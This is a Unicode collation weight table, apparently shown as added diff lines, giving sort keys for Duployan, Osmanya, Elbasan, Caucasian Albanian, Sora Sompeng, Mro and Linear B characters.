+1BC4C ; [.44F6.0020.0002] # DUPLOYAN LETTER SLOAN EH
+1BC4D ; [.44F7.0020.0002] # DUPLOYAN LETTER ROMANIAN I
+1BC4E ; [.44F8.0020.0002] # DUPLOYAN LETTER SLOAN EE
+1BC4F ; [.44F9.0020.0002] # DUPLOYAN LETTER LONG I
+1BC50 ; [.44FA.0020.0002] # DUPLOYAN LETTER YE
+1BC51 ; [.44FB.0020.0002] # DUPLOYAN LETTER U
+1BC52 ; [.44FC.0020.0002] # DUPLOYAN LETTER EU
+1BC53 ; [.44FD.0020.0002] # DUPLOYAN LETTER XW
+1BC54 ; [.44FE.0020.0002] # DUPLOYAN LETTER U N
+1BC55 ; [.44FF.0020.0002] # DUPLOYAN LETTER LONG U
+1BC56 ; [.4500.0020.0002] # DUPLOYAN LETTER ROMANIAN U
+1BC57 ; [.4501.0020.0002] # DUPLOYAN LETTER UH
+1BC58 ; [.4502.0020.0002] # DUPLOYAN LETTER SLOAN U
+1BC59 ; [.4503.0020.0002] # DUPLOYAN LETTER OOH
+1BC5A ; [.4504.0020.0002] # DUPLOYAN LETTER OW
+1BC5B ; [.4505.0020.0002] # DUPLOYAN LETTER OU
+1BC5C ; [.4506.0020.0002] # DUPLOYAN LETTER WA
+1BC5D ; [.4507.0020.0002] # DUPLOYAN LETTER WO
+1BC5E ; [.4508.0020.0002] # DUPLOYAN LETTER WI
+1BC5F ; [.4509.0020.0002] # DUPLOYAN LETTER WEI
+1BC60 ; [.450A.0020.0002] # DUPLOYAN LETTER WOW
+1BC61 ; [.450B.0020.0002] # DUPLOYAN LETTER NASAL U
+1BC62 ; [.450C.0020.0002] # DUPLOYAN LETTER NASAL O
+1BC63 ; [.450D.0020.0002] # DUPLOYAN LETTER NASAL I
+1BC64 ; [.450E.0020.0002] # DUPLOYAN LETTER NASAL A
+1BC65 ; [.450F.0020.0002] # DUPLOYAN LETTER PERNIN AN
+1BC66 ; [.4510.0020.0002] # DUPLOYAN LETTER PERNIN AM
+1BC67 ; [.4511.0020.0002] # DUPLOYAN LETTER SLOAN EN
+1BC68 ; [.4512.0020.0002] # DUPLOYAN LETTER SLOAN AN
+1BC69 ; [.4513.0020.0002] # DUPLOYAN LETTER SLOAN ON
+1BC6A ; [.4514.0020.0002] # DUPLOYAN LETTER VOCALIC M
+1BC70 ; [.4515.0020.0002] # DUPLOYAN AFFIX LEFT HORIZONTAL SECANT
+1BC71 ; [.4516.0020.0002] # DUPLOYAN AFFIX MID HORIZONTAL SECANT
+1BC72 ; [.4517.0020.0002] # DUPLOYAN AFFIX RIGHT HORIZONTAL SECANT
+1BC73 ; [.4518.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL SECANT
+1BC74 ; [.4519.0020.0002] # DUPLOYAN AFFIX MID VERTICAL SECANT
+1BC75 ; [.451A.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL SECANT
+1BC76 ; [.451B.0020.0002] # DUPLOYAN AFFIX ATTACHED SECANT
+1BC77 ; [.451C.0020.0002] # DUPLOYAN AFFIX ATTACHED LEFT-TO-RIGHT SECANT
+1BC78 ; [.451D.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT
+1BC79 ; [.451E.0020.0002] # DUPLOYAN AFFIX ATTACHED TAIL
+1BC7A ; [.451F.0020.0002] # DUPLOYAN AFFIX ATTACHED E HOOK
+1BC7B ; [.4520.0020.0002] # DUPLOYAN AFFIX ATTACHED I HOOK
+1BC7C ; [.4521.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT HOOK
+1BC80 ; [.4522.0020.0002] # DUPLOYAN AFFIX HIGH ACUTE
+1BC81 ; [.4523.0020.0002] # DUPLOYAN AFFIX HIGH TIGHT ACUTE
+1BC82 ; [.4524.0020.0002] # DUPLOYAN AFFIX HIGH GRAVE
+1BC83 ; [.4525.0020.0002] # DUPLOYAN AFFIX HIGH LONG GRAVE
+1BC84 ; [.4526.0020.0002] # DUPLOYAN AFFIX HIGH DOT
+1BC85 ; [.4527.0020.0002] # DUPLOYAN AFFIX HIGH CIRCLE
+1BC86 ; [.4528.0020.0002] # DUPLOYAN AFFIX HIGH LINE
+1BC87 ; [.4529.0020.0002] # DUPLOYAN AFFIX HIGH WAVE
+1BC88 ; [.452A.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL
+1BC90 ; [.452B.0020.0002] # DUPLOYAN AFFIX LOW ACUTE
+1BC91 ; [.452C.0020.0002] # DUPLOYAN AFFIX LOW TIGHT ACUTE
+1BC92 ; [.452D.0020.0002] # DUPLOYAN AFFIX LOW GRAVE
+1BC93 ; [.452E.0020.0002] # DUPLOYAN AFFIX LOW LONG GRAVE
+1BC94 ; [.452F.0020.0002] # DUPLOYAN AFFIX LOW DOT
+1BC95 ; [.4530.0020.0002] # DUPLOYAN AFFIX LOW CIRCLE
+1BC96 ; [.4531.0020.0002] # DUPLOYAN AFFIX LOW LINE
+1BC97 ; [.4532.0020.0002] # DUPLOYAN AFFIX LOW WAVE
+1BC98 ; [.4533.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL
+1BC99 ; [.4534.0020.0002] # DUPLOYAN AFFIX LOW ARROW
+10480 ; [.4535.0020.0002] # OSMANYA LETTER ALEF
+10481 ; [.4536.0020.0002] # OSMANYA LETTER BA
+10482 ; [.4537.0020.0002] # OSMANYA LETTER TA
+10483 ; [.4538.0020.0002] # OSMANYA LETTER JA
+10484 ; [.4539.0020.0002] # OSMANYA LETTER XA
+10485 ; [.453A.0020.0002] # OSMANYA LETTER KHA
+10486 ; [.453B.0020.0002] # OSMANYA LETTER DEEL
+10487 ; [.453C.0020.0002] # OSMANYA LETTER RA
+10488 ; [.453D.0020.0002] # OSMANYA LETTER SA
+10489 ; [.453E.0020.0002] # OSMANYA LETTER SHIIN
+1048A ; [.453F.0020.0002] # OSMANYA LETTER DHA
+1048B ; [.4540.0020.0002] # OSMANYA LETTER CAYN
+1048C ; [.4541.0020.0002] # OSMANYA LETTER GA
+1048D ; [.4542.0020.0002] # OSMANYA LETTER FA
+1048E ; [.4543.0020.0002] # OSMANYA LETTER QAAF
+1048F ; [.4544.0020.0002] # OSMANYA LETTER KAAF
+10490 ; [.4545.0020.0002] # OSMANYA LETTER LAAN
+10491 ; [.4546.0020.0002] # OSMANYA LETTER MIIN
+10492 ; [.4547.0020.0002] # OSMANYA LETTER NUUN
+10493 ; [.4548.0020.0002] # OSMANYA LETTER WAW
+10494 ; [.4549.0020.0002] # OSMANYA LETTER HA
+10495 ; [.454A.0020.0002] # OSMANYA LETTER YA
+10496 ; [.454B.0020.0002] # OSMANYA LETTER A
+10497 ; [.454C.0020.0002] # OSMANYA LETTER E
+10498 ; [.454D.0020.0002] # OSMANYA LETTER I
+10499 ; [.454E.0020.0002] # OSMANYA LETTER O
+1049A ; [.454F.0020.0002] # OSMANYA LETTER U
+1049B ; [.4550.0020.0002] # OSMANYA LETTER AA
+1049C ; [.4551.0020.0002] # OSMANYA LETTER EE
+1049D ; [.4552.0020.0002] # OSMANYA LETTER OO
+10500 ; [.4553.0020.0002] # ELBASAN LETTER A
+10501 ; [.4554.0020.0002] # ELBASAN LETTER BE
+10502 ; [.4555.0020.0002] # ELBASAN LETTER CE
+10503 ; [.4556.0020.0002] # ELBASAN LETTER CHE
+10504 ; [.4557.0020.0002] # ELBASAN LETTER DE
+10505 ; [.4558.0020.0002] # ELBASAN LETTER NDE
+10506 ; [.4559.0020.0002] # ELBASAN LETTER DHE
+10507 ; [.455A.0020.0002] # ELBASAN LETTER EI
+10508 ; [.455B.0020.0002] # ELBASAN LETTER E
+10509 ; [.455C.0020.0002] # ELBASAN LETTER FE
+1050A ; [.455D.0020.0002] # ELBASAN LETTER GE
+1050B ; [.455E.0020.0002] # ELBASAN LETTER GJE
+1050C ; [.455F.0020.0002] # ELBASAN LETTER HE
+1050D ; [.4560.0020.0002] # ELBASAN LETTER I
+1050E ; [.4561.0020.0002] # ELBASAN LETTER JE
+1050F ; [.4562.0020.0002] # ELBASAN LETTER KE
+10510 ; [.4563.0020.0002] # ELBASAN LETTER LE
+10511 ; [.4564.0020.0002] # ELBASAN LETTER LLE
+10512 ; [.4565.0020.0002] # ELBASAN LETTER ME
+10513 ; [.4566.0020.0002] # ELBASAN LETTER NE
+10514 ; [.4567.0020.0002] # ELBASAN LETTER NA
+10515 ; [.4568.0020.0002] # ELBASAN LETTER NJE
+10516 ; [.4569.0020.0002] # ELBASAN LETTER O
+10517 ; [.456A.0020.0002] # ELBASAN LETTER PE
+10518 ; [.456B.0020.0002] # ELBASAN LETTER QE
+10519 ; [.456C.0020.0002] # ELBASAN LETTER RE
+1051A ; [.456D.0020.0002] # ELBASAN LETTER RRE
+1051B ; [.456E.0020.0002] # ELBASAN LETTER SE
+1051C ; [.456F.0020.0002] # ELBASAN LETTER SHE
+1051D ; [.4570.0020.0002] # ELBASAN LETTER TE
+1051E ; [.4571.0020.0002] # ELBASAN LETTER THE
+1051F ; [.4572.0020.0002] # ELBASAN LETTER U
+10520 ; [.4573.0020.0002] # ELBASAN LETTER VE
+10521 ; [.4574.0020.0002] # ELBASAN LETTER XE
+10522 ; [.4575.0020.0002] # ELBASAN LETTER Y
+10523 ; [.4576.0020.0002] # ELBASAN LETTER ZE
+10524 ; [.4577.0020.0002] # ELBASAN LETTER ZHE
+10525 ; [.4578.0020.0002] # ELBASAN LETTER GHE
+10526 ; [.4579.0020.0002] # ELBASAN LETTER GHAMMA
+10527 ; [.457A.0020.0002] # ELBASAN LETTER KHE
+10530 ; [.457B.0020.0002] # CAUCASIAN ALBANIAN LETTER ALT
+10531 ; [.457C.0020.0002] # CAUCASIAN ALBANIAN LETTER BET
+10532 ; [.457D.0020.0002] # CAUCASIAN ALBANIAN LETTER GIM
+10533 ; [.457E.0020.0002] # CAUCASIAN ALBANIAN LETTER DAT
+10534 ; [.457F.0020.0002] # CAUCASIAN ALBANIAN LETTER EB
+10535 ; [.4580.0020.0002] # CAUCASIAN ALBANIAN LETTER ZARL
+10536 ; [.4581.0020.0002] # CAUCASIAN ALBANIAN LETTER EYN
+10537 ; [.4582.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHIL
+10538 ; [.4583.0020.0002] # CAUCASIAN ALBANIAN LETTER TAS
+10539 ; [.4584.0020.0002] # CAUCASIAN ALBANIAN LETTER CHA
+1053A ; [.4585.0020.0002] # CAUCASIAN ALBANIAN LETTER YOWD
+1053B ; [.4586.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHA
+1053C ; [.4587.0020.0002] # CAUCASIAN ALBANIAN LETTER IRB
+1053D ; [.4588.0020.0002] # CAUCASIAN ALBANIAN LETTER SHA
+1053E ; [.4589.0020.0002] # CAUCASIAN ALBANIAN LETTER LAN
+1053F ; [.458A.0020.0002] # CAUCASIAN ALBANIAN LETTER INYA
+10540 ; [.458B.0020.0002] # CAUCASIAN ALBANIAN LETTER XEYN
+10541 ; [.458C.0020.0002] # CAUCASIAN ALBANIAN LETTER DYAN
+10542 ; [.458D.0020.0002] # CAUCASIAN ALBANIAN LETTER CAR
+10543 ; [.458E.0020.0002] # CAUCASIAN ALBANIAN LETTER JHOX
+10544 ; [.458F.0020.0002] # CAUCASIAN ALBANIAN LETTER KAR
+10545 ; [.4590.0020.0002] # CAUCASIAN ALBANIAN LETTER LYIT
+10546 ; [.4591.0020.0002] # CAUCASIAN ALBANIAN LETTER HEYT
+10547 ; [.4592.0020.0002] # CAUCASIAN ALBANIAN LETTER QAY
+10548 ; [.4593.0020.0002] # CAUCASIAN ALBANIAN LETTER AOR
+10549 ; [.4594.0020.0002] # CAUCASIAN ALBANIAN LETTER CHOY
+1054A ; [.4595.0020.0002] # CAUCASIAN ALBANIAN LETTER CHI
+1054B ; [.4596.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAY
+1054C ; [.4597.0020.0002] # CAUCASIAN ALBANIAN LETTER MAQ
+1054D ; [.4598.0020.0002] # CAUCASIAN ALBANIAN LETTER QAR
+1054E ; [.4599.0020.0002] # CAUCASIAN ALBANIAN LETTER NOWC
+1054F ; [.459A.0020.0002] # CAUCASIAN ALBANIAN LETTER DZYAY
+10550 ; [.459B.0020.0002] # CAUCASIAN ALBANIAN LETTER SHAK
+10551 ; [.459C.0020.0002] # CAUCASIAN ALBANIAN LETTER JAYN
+10552 ; [.459D.0020.0002] # CAUCASIAN ALBANIAN LETTER ON
+10553 ; [.459E.0020.0002] # CAUCASIAN ALBANIAN LETTER TYAY
+10554 ; [.459F.0020.0002] # CAUCASIAN ALBANIAN LETTER FAM
+10555 ; [.45A0.0020.0002] # CAUCASIAN ALBANIAN LETTER DZAY
+10556 ; [.45A1.0020.0002] # CAUCASIAN ALBANIAN LETTER CHAT
+10557 ; [.45A2.0020.0002] # CAUCASIAN ALBANIAN LETTER PEN
+10558 ; [.45A3.0020.0002] # CAUCASIAN ALBANIAN LETTER GHEYS
+10559 ; [.45A4.0020.0002] # CAUCASIAN ALBANIAN LETTER RAT
+1055A ; [.45A5.0020.0002] # CAUCASIAN ALBANIAN LETTER SEYK
+1055B ; [.45A6.0020.0002] # CAUCASIAN ALBANIAN LETTER VEYZ
+1055C ; [.45A7.0020.0002] # CAUCASIAN ALBANIAN LETTER TIWR
+1055D ; [.45A8.0020.0002] # CAUCASIAN ALBANIAN LETTER SHOY
+1055E ; [.45A9.0020.0002] # CAUCASIAN ALBANIAN LETTER IWN
+1055F ; [.45AA.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAW
+10560 ; [.45AB.0020.0002] # CAUCASIAN ALBANIAN LETTER CAYN
+10561 ; [.45AC.0020.0002] # CAUCASIAN ALBANIAN LETTER YAYD
+10562 ; [.45AD.0020.0002] # CAUCASIAN ALBANIAN LETTER PIWR
+10563 ; [.45AE.0020.0002] # CAUCASIAN ALBANIAN LETTER KIW
+110D0 ; [.45AF.0020.0002] # SORA SOMPENG LETTER SAH
+110D1 ; [.45B0.0020.0002] # SORA SOMPENG LETTER TAH
+110D2 ; [.45B1.0020.0002] # SORA SOMPENG LETTER BAH
+110D3 ; [.45B2.0020.0002] # SORA SOMPENG LETTER CAH
+110D4 ; [.45B3.0020.0002] # SORA SOMPENG LETTER DAH
+110D5 ; [.45B4.0020.0002] # SORA SOMPENG LETTER GAH
+110D6 ; [.45B5.0020.0002] # SORA SOMPENG LETTER MAH
+110D7 ; [.45B6.0020.0002] # SORA SOMPENG LETTER NGAH
+110D8 ; [.45B7.0020.0002] # SORA SOMPENG LETTER LAH
+110D9 ; [.45B8.0020.0002] # SORA SOMPENG LETTER NAH
+110DA ; [.45B9.0020.0002] # SORA SOMPENG LETTER VAH
+110DB ; [.45BA.0020.0002] # SORA SOMPENG LETTER PAH
+110DC ; [.45BB.0020.0002] # SORA SOMPENG LETTER YAH
+110DD ; [.45BC.0020.0002] # SORA SOMPENG LETTER RAH
+110DE ; [.45BD.0020.0002] # SORA SOMPENG LETTER HAH
+110DF ; [.45BE.0020.0002] # SORA SOMPENG LETTER KAH
+110E0 ; [.45BF.0020.0002] # SORA SOMPENG LETTER JAH
+110E1 ; [.45C0.0020.0002] # SORA SOMPENG LETTER NYAH
+110E2 ; [.45C1.0020.0002] # SORA SOMPENG LETTER AH
+110E3 ; [.45C2.0020.0002] # SORA SOMPENG LETTER EEH
+110E4 ; [.45C3.0020.0002] # SORA SOMPENG LETTER IH
+110E5 ; [.45C4.0020.0002] # SORA SOMPENG LETTER UH
+110E6 ; [.45C5.0020.0002] # SORA SOMPENG LETTER OH
+110E7 ; [.45C6.0020.0002] # SORA SOMPENG LETTER EH
+110E8 ; [.45C7.0020.0002] # SORA SOMPENG LETTER MAE
+16A40 ; [.45C8.0020.0002] # MRO LETTER TA
+16A41 ; [.45C9.0020.0002] # MRO LETTER NGI
+16A42 ; [.45CA.0020.0002] # MRO LETTER YO
+16A43 ; [.45CB.0020.0002] # MRO LETTER MIM
+16A44 ; [.45CC.0020.0002] # MRO LETTER BA
+16A45 ; [.45CD.0020.0002] # MRO LETTER DA
+16A46 ; [.45CE.0020.0002] # MRO LETTER A
+16A47 ; [.45CF.0020.0002] # MRO LETTER PHI
+16A48 ; [.45D0.0020.0002] # MRO LETTER KHAI
+16A49 ; [.45D1.0020.0002] # MRO LETTER HAO
+16A4A ; [.45D2.0020.0002] # MRO LETTER DAI
+16A4B ; [.45D3.0020.0002] # MRO LETTER CHU
+16A4C ; [.45D4.0020.0002] # MRO LETTER KEAAE
+16A4D ; [.45D5.0020.0002] # MRO LETTER OL
+16A4E ; [.45D6.0020.0002] # MRO LETTER MAEM
+16A4F ; [.45D7.0020.0002] # MRO LETTER NIN
+16A50 ; [.45D8.0020.0002] # MRO LETTER PA
+16A51 ; [.45D9.0020.0002] # MRO LETTER OO
+16A52 ; [.45DA.0020.0002] # MRO LETTER O
+16A53 ; [.45DB.0020.0002] # MRO LETTER RO
+16A54 ; [.45DC.0020.0002] # MRO LETTER SHI
+16A55 ; [.45DD.0020.0002] # MRO LETTER THEA
+16A56 ; [.45DE.0020.0002] # MRO LETTER EA
+16A57 ; [.45DF.0020.0002] # MRO LETTER WA
+16A58 ; [.45E0.0020.0002] # MRO LETTER E
+16A59 ; [.45E1.0020.0002] # MRO LETTER KO
+16A5A ; [.45E2.0020.0002] # MRO LETTER LAN
+16A5B ; [.45E3.0020.0002] # MRO LETTER LA
+16A5C ; [.45E4.0020.0002] # MRO LETTER HAI
+16A5D ; [.45E5.0020.0002] # MRO LETTER RI
+16A5E ; [.45E6.0020.0002] # MRO LETTER TEK
+10000 ; [.45E7.0020.0002] # LINEAR B SYLLABLE B008 A
+10001 ; [.45E8.0020.0002] # LINEAR B SYLLABLE B038 E
+10002 ; [.45E9.0020.0002] # LINEAR B SYLLABLE B028 I
+10003 ; [.45EA.0020.0002] # LINEAR B SYLLABLE B061 O
+10004 ; [.45EB.0020.0002] # LINEAR B SYLLABLE B010 U
+10005 ; [.45EC.0020.0002] # LINEAR B SYLLABLE B001 DA
+10006 ; [.45ED.0020.0002] # LINEAR B SYLLABLE B045 DE
+10007 ; [.45EE.0020.0002] # LINEAR B SYLLABLE B007 DI
+10008 ; [.45EF.0020.0002] # LINEAR B SYLLABLE B014 DO
+10009 ; [.45F0.0020.0002] # LINEAR B SYLLABLE B051 DU
+1000A ; [.45F1.0020.0002] # LINEAR B SYLLABLE B057 JA
+1000B ; [.45F2.0020.0002] # LINEAR B SYLLABLE B046 JE
+1000D ; [.45F3.0020.0002] # LINEAR B SYLLABLE B036 JO
+1000E ; [.45F4.0020.0002] # LINEAR B SYLLABLE B065 JU
+1000F ; [.45F5.0020.0002] # LINEAR B SYLLABLE B077 KA
+10010 ; [.45F6.0020.0002] # LINEAR B SYLLABLE B044 KE
+10011 ; [.45F7.0020.0002] # LINEAR B SYLLABLE B067 KI
+10012 ; [.45F8.0020.0002] # LINEAR B SYLLABLE B070 KO
+10013 ; [.45F9.0020.0002] # LINEAR B SYLLABLE B081 KU
+10014 ; [.45FA.0020.0002] # LINEAR B SYLLABLE B080 MA
+10015 ; [.45FB.0020.0002] # LINEAR B SYLLABLE B013 ME
+10016 ; [.45FC.0020.0002] # LINEAR B SYLLABLE B073 MI
+10017 ; [.45FD.0020.0002] # LINEAR B SYLLABLE B015 MO
+10018 ; [.45FE.0020.0002] # LINEAR B SYLLABLE B023 MU
+10019 ; [.45FF.0020.0002] # LINEAR B SYLLABLE B006 NA
+1001A ; [.4600.0020.0002] # LINEAR B SYLLABLE B024 NE
+1001B ; [.4601.0020.0002] # LINEAR B SYLLABLE B030 NI
+1001C ; [.4602.0020.0002] # LINEAR B SYLLABLE B052 NO
+1001D ; [.4603.0020.0002] # LINEAR B SYLLABLE B055 NU
+1001E ; [.4604.0020.0002] # LINEAR B SYLLABLE B003 PA
+1001F ; [.4605.0020.0002] # LINEAR B SYLLABLE B072 PE
+10020 ; [.4606.0020.0002] # LINEAR B SYLLABLE B039 PI
+10021 ; [.4607.0020.0002] # LINEAR B SYLLABLE B011 PO
+10022 ; [.4608.0020.0002] # LINEAR B SYLLABLE B050 PU
+10023 ; [.4609.0020.0002] # LINEAR B SYLLABLE B016 QA
+10024 ; [.460A.0020.0002] # LINEAR B SYLLABLE B078 QE
+10025 ; [.460B.0020.0002] # LINEAR B SYLLABLE B021 QI
+10026 ; [.460C.0020.0002] # LINEAR B SYLLABLE B032 QO
+10028 ; [.460D.0020.0002] # LINEAR B SYLLABLE B060 RA
+10029 ; [.460E.0020.0002] # LINEAR B SYLLABLE B027 RE
+1002A ; [.460F.0020.0002] # LINEAR B SYLLABLE B053 RI
+1002B ; [.4610.0020.0002] # LINEAR B SYLLABLE B002 RO
+1002C ; [.4611.0020.0002] # LINEAR B SYLLABLE B026 RU
+1002D ; [.4612.0020.0002] # LINEAR B SYLLABLE B031 SA
+1002E ; [.4613.0020.0002] # LINEAR B SYLLABLE B009 SE
+1002F ; [.4614.0020.0002] # LINEAR B SYLLABLE B041 SI
+10030 ; [.4615.0020.0002] # LINEAR B SYLLABLE B012 SO
+10031 ; [.4616.0020.0002] # LINEAR B SYLLABLE B058 SU
+10032 ; [.4617.0020.0002] # LINEAR B SYLLABLE B059 TA
+10033 ; [.4618.0020.0002] # LINEAR B SYLLABLE B004 TE
+10034 ; [.4619.0020.0002] # LINEAR B SYLLABLE B037 TI
+10035 ; [.461A.0020.0002] # LINEAR B SYLLABLE B005 TO
+10036 ; [.461B.0020.0002] # LINEAR B SYLLABLE B069 TU
+10037 ; [.461C.0020.0002] # LINEAR B SYLLABLE B054 WA
+10038 ; [.461D.0020.0002] # LINEAR B SYLLABLE B075 WE
+10039 ; [.461E.0020.0002] # LINEAR B SYLLABLE B040 WI
+1003A ; [.461F.0020.0002] # LINEAR B SYLLABLE B042 WO
+1003C ; [.4620.0020.0002] # LINEAR B SYLLABLE B017 ZA
+1003D ; [.4621.0020.0002] # LINEAR B SYLLABLE B074 ZE
+1003F ; [.4622.0020.0002] # LINEAR B SYLLABLE B020 ZO
+10040 ; [.4623.0020.0002] # LINEAR B SYLLABLE B025 A2
+10041 ; [.4624.0020.0002] # LINEAR B SYLLABLE B043 A3
+10042 ; [.4625.0020.0002] # LINEAR B SYLLABLE B085 AU
+10043 ; [.4626.0020.0002] # LINEAR B SYLLABLE B071 DWE
+10044 ; [.4627.0020.0002] # LINEAR B SYLLABLE B090 DWO
+10045 ; [.4628.0020.0002] # LINEAR B SYLLABLE B048 NWA
+10046 ; [.4629.0020.0002] # LINEAR B SYLLABLE B029 PU2
+10047 ; [.462A.0020.0002] # LINEAR B SYLLABLE B062 PTE
+10048 ; [.462B.0020.0002] # LINEAR B SYLLABLE B076 RA2
+10049 ; [.462C.0020.0002] # LINEAR B SYLLABLE B033 RA3
+1004A ; [.462D.0020.0002] # LINEAR B SYLLABLE B068 RO2
+1004B ; [.462E.0020.0002] # LINEAR B SYLLABLE B066 TA2
+1004C ; [.462F.0020.0002] # LINEAR B SYLLABLE B087 TWE
+1004D ; [.4630.0020.0002] # LINEAR B SYLLABLE B091 TWO
+10050 ; [.4631.0020.0002] # LINEAR B SYMBOL B018
+10051 ; [.4632.0020.0002] # LINEAR B SYMBOL B019
+10052 ; [.4633.0020.0002] # LINEAR B SYMBOL B022
+10053 ; [.4634.0020.0002] # LINEAR B SYMBOL B034
+10054 ; [.4635.0020.0002] # LINEAR B SYMBOL B047
+10055 ; [.4636.0020.0002] # LINEAR B SYMBOL B049
+10056 ; [.4637.0020.0002] # LINEAR B SYMBOL B056
+10057 ; [.4638.0020.0002] # LINEAR B SYMBOL B063
+10058 ; [.4639.0020.0002] # LINEAR B SYMBOL B064
+10059 ; [.463A.0020.0002] # LINEAR B SYMBOL B079
+1005A ; [.463B.0020.0002] # LINEAR B SYMBOL B082
+1005B ; [.463C.0020.0002] # LINEAR B SYMBOL B083
+1005C ; [.463D.0020.0002] # LINEAR B SYMBOL B086
+1005D ; [.463E.0020.0002] # LINEAR B SYMBOL B089
+10080 ; [.463F.0020.0002] # LINEAR B IDEOGRAM B100 MAN
+10081 ; [.4640.0020.0002] # LINEAR B IDEOGRAM B102 WOMAN
+10082 ; [.4641.0020.0002] # LINEAR B IDEOGRAM B104 DEER
+10083 ; [.4642.0020.0002] # LINEAR B IDEOGRAM B105 EQUID
+10084 ; [.4643.0020.0002] # LINEAR B IDEOGRAM B105F MARE
+10085 ; [.4644.0020.0002] # LINEAR B IDEOGRAM B105M STALLION
+10086 ; [.4645.0020.0002] # LINEAR B IDEOGRAM B106F EWE
+10087 ; [.4646.0020.0002] # LINEAR B IDEOGRAM B106M RAM
+10088 ; [.4647.0020.0002] # LINEAR B IDEOGRAM B107F SHE-GOAT
+10089 ; [.4648.0020.0002] # LINEAR B IDEOGRAM B107M HE-GOAT
+1008A ; [.4649.0020.0002] # LINEAR B IDEOGRAM B108F SOW
+1008B ; [.464A.0020.0002] # LINEAR B IDEOGRAM B108M BOAR
+1008C ; [.464B.0020.0002] # LINEAR B IDEOGRAM B109F COW
+1008D ; [.464C.0020.0002] # LINEAR B IDEOGRAM B109M BULL
+1008E ; [.464D.0020.0002] # LINEAR B IDEOGRAM B120 WHEAT
+1008F ; [.464E.0020.0002] # LINEAR B IDEOGRAM B121 BARLEY
+10090 ; [.464F.0020.0002] # LINEAR B IDEOGRAM B122 OLIVE
+10091 ; [.4650.0020.0002] # LINEAR B IDEOGRAM B123 SPICE
+10092 ; [.4651.0020.0002] # LINEAR B IDEOGRAM B125 CYPERUS
+10093 ; [.4652.0020.0002] # LINEAR B MONOGRAM B127 KAPO
+10094 ; [.4653.0020.0002] # LINEAR B MONOGRAM B128 KANAKO
+10095 ; [.4654.0020.0002] # LINEAR B IDEOGRAM B130 OIL
+10096 ; [.4655.0020.0002] # LINEAR B IDEOGRAM B131 WINE
+10097 ; [.4656.0020.0002] # LINEAR B IDEOGRAM B132
+10098 ; [.4657.0020.0002] # LINEAR B MONOGRAM B133 AREPA
+10099 ; [.4658.0020.0002] # LINEAR B MONOGRAM B135 MERI
+1009A ; [.4659.0020.0002] # LINEAR B IDEOGRAM B140 BRONZE
+1009B ; [.465A.0020.0002] # LINEAR B IDEOGRAM B141 GOLD
+1009C ; [.465B.0020.0002] # LINEAR B IDEOGRAM B142
+1009D ; [.465C.0020.0002] # LINEAR B IDEOGRAM B145 WOOL
+1009E ; [.465D.0020.0002] # LINEAR B IDEOGRAM B146
+1009F ; [.465E.0020.0002] # LINEAR B IDEOGRAM B150
+100A0 ; [.465F.0020.0002] # LINEAR B IDEOGRAM B151 HORN
+100A1 ; [.4660.0020.0002] # LINEAR B IDEOGRAM B152
+100A2 ; [.4661.0020.0002] # LINEAR B IDEOGRAM B153
+100A3 ; [.4662.0020.0002] # LINEAR B IDEOGRAM B154
+100A4 ; [.4663.0020.0002] # LINEAR B MONOGRAM B156 TURO2
+100A5 ; [.4664.0020.0002] # LINEAR B IDEOGRAM B157
+100A6 ; [.4665.0020.0002] # LINEAR B IDEOGRAM B158
+100A7 ; [.4666.0020.0002] # LINEAR B IDEOGRAM B159 CLOTH
+100A8 ; [.4667.0020.0002] # LINEAR B IDEOGRAM B160
+100A9 ; [.4668.0020.0002] # LINEAR B IDEOGRAM B161
+100AA ; [.4669.0020.0002] # LINEAR B IDEOGRAM B162 GARMENT
+100AB ; [.466A.0020.0002] # LINEAR B IDEOGRAM B163 ARMOUR
+100AC ; [.466B.0020.0002] # LINEAR B IDEOGRAM B164
+100AD ; [.466C.0020.0002] # LINEAR B IDEOGRAM B165
+100AE ; [.466D.0020.0002] # LINEAR B IDEOGRAM B166
+100AF ; [.466E.0020.0002] # LINEAR B IDEOGRAM B167
+100B0 ; [.466F.0020.0002] # LINEAR B IDEOGRAM B168
+100B1 ; [.4670.0020.0002] # LINEAR B IDEOGRAM B169
+100B2 ; [.4671.0020.0002] # LINEAR B IDEOGRAM B170
+100B3 ; [.4672.0020.0002] # LINEAR B IDEOGRAM B171
+100B4 ; [.4673.0020.0002] # LINEAR B IDEOGRAM B172
+100B5 ; [.4674.0020.0002] # LINEAR B IDEOGRAM B173 MONTH
+100B6 ; [.4675.0020.0002] # LINEAR B IDEOGRAM B174
+100B7 ; [.4676.0020.0002] # LINEAR B IDEOGRAM B176 TREE
+100B8 ; [.4677.0020.0002] # LINEAR B IDEOGRAM B177
+100B9 ; [.4678.0020.0002] # LINEAR B IDEOGRAM B178
+100BA ; [.4679.0020.0002] # LINEAR B IDEOGRAM B179
+100BB ; [.467A.0020.0002] # LINEAR B IDEOGRAM B180
+100BC ; [.467B.0020.0002] # LINEAR B IDEOGRAM B181
+100BD ; [.467C.0020.0002] # LINEAR B IDEOGRAM B182
+100BE ; [.467D.0020.0002] # LINEAR B IDEOGRAM B183
+100BF ; [.467E.0020.0002] # LINEAR B IDEOGRAM B184
+100C0 ; [.467F.0020.0002] # LINEAR B IDEOGRAM B185
+100C1 ; [.4680.0020.0002] # LINEAR B IDEOGRAM B189
+100C2 ; [.4681.0020.0002] # LINEAR B IDEOGRAM B190
+100C3 ; [.4682.0020.0002] # LINEAR B IDEOGRAM B191 HELMET
+100C4 ; [.4683.0020.0002] # LINEAR B IDEOGRAM B220 FOOTSTOOL
+100C5 ; [.4684.0020.0002] # LINEAR B IDEOGRAM B225 BATHTUB
+100C6 ; [.4685.0020.0002] # LINEAR B IDEOGRAM B230 SPEAR
+100C7 ; [.4686.0020.0002] # LINEAR B IDEOGRAM B231 ARROW
+100C8 ; [.4687.0020.0002] # LINEAR B IDEOGRAM B232
+100C9 ; [.4688.0020.0002] # LINEAR B IDEOGRAM B233 SWORD
+100CA ; [.4689.0020.0002] # LINEAR B IDEOGRAM B234
+100CB ; [.468A.0020.0002] # LINEAR B IDEOGRAM B236
